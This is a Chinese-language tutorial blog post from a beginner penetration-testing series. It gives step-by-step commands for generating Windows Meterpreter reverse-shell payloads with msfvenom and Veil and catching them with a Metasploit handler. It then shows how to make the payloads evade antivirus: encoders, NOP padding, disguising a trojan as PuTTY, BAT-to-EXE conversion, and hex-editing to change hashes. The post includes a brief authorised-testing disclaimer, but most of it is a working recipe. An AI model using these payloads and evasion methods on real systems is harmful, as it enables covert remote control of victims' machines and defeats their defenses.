iT邦幫忙

2024 iThome 鐵人賽

DAY 12
0
自我挑戰組

從零開始:資安滲透初探系列 第 12

11. 取得存取權限(病毒、木馬、有效負載...)

  • 分享至 

  • xImage
  •  

原本有安排一個"SMBGhost CVE 2020-0796 - Windows 10 手動利用"
但是該講需要用到特定版本的win 10, 但目前沒有找到乾淨的來源,故刪除

使用 Msfvenom 產生基本有效負載

接下來,我們將探討如何利用MSFvenom工具生成基本的Windows惡意程式,並在目標機器上獲得反向Shell。這是一個簡單的例子,旨在演示如何利用MSFvenom創建有效負載,並使用Metasploit Framework來監聽連接。

前置條件

  1. 設置目標:下載一個windows 10 IOS,並用虛擬機開啟
  2. 目標系統:Windows 10機器,關閉Windows Defender或其他防毒軟件。
  3. 攻擊機器:Kali Linux,安裝Metasploit Framework。

步驟一:生成有效負載

  1. 打開Kali Linux終端
    • 使用以下命令生成惡意的可執行文件:

      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<你的kali ip> LPORT=5555(隨便一個都可以) -f exe -o shell.exe
      
      

    • 此命令將生成一個名為shell.exe的文件,其中包括反向連接到Kali Linux的Meterpreter Shell。

    • 選項說明

      • p windows/x64/meterpreter/reverse_tcp:指定使用的有效負載。
      • LHOST=192.168.1.12:攻擊機器的IP地址。
      • LPORT=5555:反向連接的端口號。
      • f exe:指定輸出的文件格式。
      • o shell.exe:指定輸出文件的名稱。

步驟二:傳輸有效負載

  1. shell.exe傳輸到目標機器
    • 你可以通過USB、拖放、網絡共享等方法將文件傳輸到目標Windows 10機器。

步驟三:設置Metasploit Handler

  1. 在Kali Linux上打開MSFconsole
    • 使用以下命令啟動Metasploit Framework並設置監聽:

      msfconsole
      use exploit/multi/handler
      set payload windows/x64/meterpreter/reverse_tcp
      set LHOST 192.168.1.12
      set LPORT 5555
      run
      
      
    • 選項說明

      • use exploit/multi/handler:選擇監聽器。
      • set payload windows/x64/meterpreter/reverse_tcp:設置有效負載類型。
      • set LHOSTset LPORT:確保這些值與MSFvenom命令中的一致。

步驟四:執行有效負載

  1. 在目標Windows 10機器上執行shell.exe
    • 雙擊shell.exe文件。
    • 在Kali Linux的MSFconsole中觀察到反向Shell連接的建立。
  2. 驗證連接
    • 在MSFconsole中執行sysinfogetuid等命令以驗證已獲取目標系統的訪問權限。

注意事項

  • 此範例僅供學術研究和合法測試環境中使用。
  • 生成的有效負載將被大多數防病毒軟件識別,因此在真實場景中需要進一步的技術來繞過防病毒檢測。
  • 確保遵守所有相關法律法規,僅在授權的系統上進行測試。

這些步驟展示了如何利用MSFvenom生成基本的Windows有效負載,並使用Metasploit Framework來接收反向連接。

進階Msfvenom用法

使用MSFvenom創建進階有效負載

在上個階段中,我們創建了一個基本的.exe木馬檔案。現在,我們將介紹一些可用來調整有效負載的選項,以便創建更具針對性和潛在地更難以被防病毒軟件檢測的有效負載。

步驟一:查看可用格式

  1. 打開終端並運行以下命令,查看可用的文件格式:

    msfvenom --list formats
    
    
    • 這將列出所有可用的輸出格式,如ASP、DLL、EXE、Python、Perl等。不同的目標系統可能需要不同的文件格式。

步驟二:創建基本的有效負載

  1. 創建基本的有效負載

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -f exe -o shell1.exe
    
    
    • 這將創建一個名為shell1.exe的可執行文件。
  2. 上傳到VirusTotal進行掃描

    • 打開VirusTotal網站,將shell1.exe上傳,查看有多少防病毒軟件檢測到它。

步驟三:使用進階選項創建有效負載

  1. 運行以下命令以查看MSFvenom的幫助手冊

    msfvenom -h
    
    
    • 瀏覽可用選項,例如aei等。
  2. 使用進階選項創建有效負載

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -a x64 -e x64/zutto_dekiru -i 15 --platform windows -n 500 -f exe -o shell2.exe
    
    
    • 選項說明
      • a x64:指定目標架構為64位。
      • e x64/zutto_dekiru:指定使用的編碼器。
      • i 15:指定編碼的迭代次數為15。
      • -platform windows:指定目標平台為Windows。
      • n 500:在有效負載中插入500個NOP。
      • f exe:指定輸出格式為exe。
      • o shell2.exe:指定輸出文件名稱。
  3. 上傳到VirusTotal進行掃描

    • shell2.exe上傳到VirusTotal,查看防病毒軟件的檢測情況。

結果分析

  • 病毒檢測率比較
    • 觀察VirusTotal的掃描結果,查看哪個有效負載被較少的防病毒軟件檢測到。
    • 雖然使用了進階選項,MSFvenom生成的有效負載仍然可能被多數防病毒軟件檢測到。這是因為MSFvenom生成的有效負載模式已被廣泛應用並且為防病毒廠商所熟知。

小結

使用MSFvenom生成有效負載是滲透測試中重要的一環,了解不同的選項和參數可以幫助創建更具針對性的攻擊工具。然而,要實現有效的防病毒繞過,可能需要進一步的定制化處理和其他技巧,我們將在後續的教程中進一步探討這些技巧。

使用模板生成有效負載

MSFvenom提供了一個功能,即使用另一個可執行程序作為模板來生成有效負載,這可以幫助我們使有效負載看起來更像合法程序。

步驟一:下載模板程序(以偽裝成PuTTY為例)

  1. 下載PuTTY作為模板程序
    • 打開瀏覽器,搜索"PuTTY"並下載64位版本的PuTTY可執行文件(.exe)。
  2. 將PuTTY.exe保存到本地目錄中,例如下載目錄。

步驟二:創建有效負載

  1. 在命令行中創建使用PuTTY作為模板的有效負載

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -x putty.exe -f exe -o Putty.exe
    
    

    • x putty.exe:使用PuTTY作為模板。
    • f exe:指定輸出格式為exe。
    • o Putty.exe:指定輸出文件名稱。
  2. 運行PuTTY.exe並設置多重處理程序

    • 打開msfconsole並設置多重處理程序來監聽來自有效負載的連接:
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.1.12
    set LPORT 5555
    run
    
    
    • 在目標機器上運行生成的Putty.exe,確認連接。

步驟三:檢查防病毒檢測率

  1. 上傳到VirusTotal檢查檢測率
    • 打開VirusTotal,上傳生成的Putty.exe檔案,查看防病毒檢測情況。

步驟四:生成Python格式的有效負載

  1. 生成Python格式的有效負載

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=5555 -f python -o python_payload.py
    
    
    • f python:指定輸出格式為Python。
  2. 檢查Python有效負載的檢測率

    • 上傳到VirusTotal進行檢測,通常Python格式的有效負載在VirusTotal上不會被檢測到。

小結

這些步驟展示了如何使用模板和不同格式來創建更具隱蔽性的有效負載。儘管如此,Python格式的有效負載在Windows上並不實用,因為Windows默認不支持Python運行環境。因此,選擇合適的格式和使用模板是提高有效負載隱蔽性的兩種有效方法。

使用 Veil 產生 Powershell 有效負載

在這一部分中,我們將使用Veil工具生成一個PowerShell有效負載,並將其轉換為可執行文件(EXE)以便在目標系統上運行。Veil是一個強大的工具,專門用來生成難以被防病毒軟件檢測的有效負載。以下是具體步驟:

安裝Veil

  1. 安裝Veil工具
    (這個東西要裝超久,我裝了應該有超過2小時(包括有一些失敗),建議裝的時候y/n/s選s)
    • 打開終端,進入root帳戶:

      sudo su
      
      
    • 運行以下命令來安裝Veil:

      apt-get install veil
      
      
    • 安裝完成後,輸入veil啟動程序。這將繼續安裝依賴項,並提示您在安裝過程中點擊“下一步”。

創建PowerShell有效負載

  1. 啟動Veil並選擇有效負載

    • 輸入veil啟動程序,然後輸入use 1選擇Evasion模塊。

    • 列出可用的有效負載:

      list
      
      

    • 選擇PowerShell有效負載,例如第22個(powershell/meterpreter/rev_tcp.py):

      use 22
      
      

  2. 設置有效負載參數

    • 設置本地主機(LHOST)和端口(LPORT):

      set LHOST 192.168.1.12
      set LPORT 5555
      
      
    • 可選:設置啟動延遲時間(SLEEP)以避免立即被檢測:

      set SLEEP 20
      
      
  3. 生成有效負載

    • 輸入generate命令來創建有效負載。
    • 將生成一個.bat文件和一個Metasploit資源文件。

將BAT轉換為EXE

  1. 下載BAT轉EXE轉換器
    • 使用GitHub下載bat2exe工具:

      git clone <https://github.com/iTzKarma/Bat2Exe>
      
      

    • 解壓工具:

      unzip Bat2Exe.zip
      
      

  2. 運行BAT轉EXE工具
    • 使用Wine在Kali Linux中運行工具:

      wine Bat2Exe.exe
      
      
    • 打開Veil生成的.bat文件

    • 然後選擇“Convert”選項將其轉換為EXE。

設置Metasploit監聽器並運行有效負載

  1. 設置Metasploit監聽器

    • 打開msfconsole並運行資源文件以自動設置監聽器:

      resource /path/to/your/resource/file.rc
      
      
  2. 在目標機器上運行EXE有效負載

    • 將生成的EXE文件移動到目標機器並運行。
    • 確認Metasploit中接收到Meterpreter會話。

小結

我們使用Veil工具生成了一個PowerShell有效負載,並通過將其轉換為EXE格式來避免檢測。Veil提供了多種選擇來微調和自定義有效負載,以降低被防病毒軟件檢測的可能性。雖然我們無法完全避免所有防病毒檢測,但使用Veil生成的有效負載能夠有效降低被檢測的風險。

十六進位編輯器與防毒軟體

我們將討論如何繞過防毒軟體的偵測。由於技術會隨著時間而改變,因此當前方法可能在未來不再有效。完全不可偵測的Payload不會持續很長時間,特別是在這類教程被眾多人觀看之後。因此,我們將介紹一些技術,這些技術可以幫助你生成難以偵測的Payload。

如何避開防毒軟體的偵測

  1. 自行編寫Payload
    • 最有效的方法是自己編寫Payload。當你編寫了一個新的Payload時,其代碼是全新的,沒有被防毒軟體的資料庫記錄。當你將其編譯成二進位文件時,這樣的二進位文件對於防毒軟體來說是未知的,因此不會被偵測。
  2. 保持更新
    • 保持你的工具更新,並且關注新推出的工具。新工具可能會有尚未廣泛使用的Payload,這樣的Payload更有可能繞過防毒軟體。
  3. 嘗試不同類型的Payload
    • 嘗試使用不同類型的Payload,例如PowerShell、Python、C#等,這些Payload被偵測的機率可能較低。
  4. 修改Payload的二進位文件
    • 你可以使用hex編輯器稍微修改Payload的二進位文件,這樣可以改變文件的雜湊值,進而增加繞過防毒軟體的可能性。

使用Hex編輯器進行修改

  1. 生成一個普通的Windows Meterpreter反向TCP Payload:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe -o shell.exe
    
    
  2. 使用md5sum檢查Payload的雜湊值:

    md5sum shell.exe
    
    
  3. 使用Hex編輯器修改Payload:

    hexeditor shell.exe
    
    
    • 修改文件中不影響程序運行的部分,如"this....."的字符串。

  4. 保存並重新檢查文件的雜湊值:

    md5sum shell.exe
    
    
    • 這將產生一個新的雜湊值,即便只是繞過兩三個防毒軟體也是一種進步。

其他技巧

  • 如果你擁有Payload的原始碼,可以嘗試對其進行修改,例如增加一些無用的函數,或者讓程序在運行後不執行任何動作一段時間。
    這些技術可以幫助你提高Payload繞過防毒軟體的機率。需要注意的是,無論如何,這些技術並不會持續有效,因此需要不斷地嘗試和更新。

上一篇
10-2: 資安滲透初探: 漏洞利用與獲取訪問權限
下一篇
12.資安滲透初探: 利用後操作(Post Exploitation) - 提升權限、提取數據、運行鍵盤記錄器等
系列文
從零開始:資安滲透初探30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言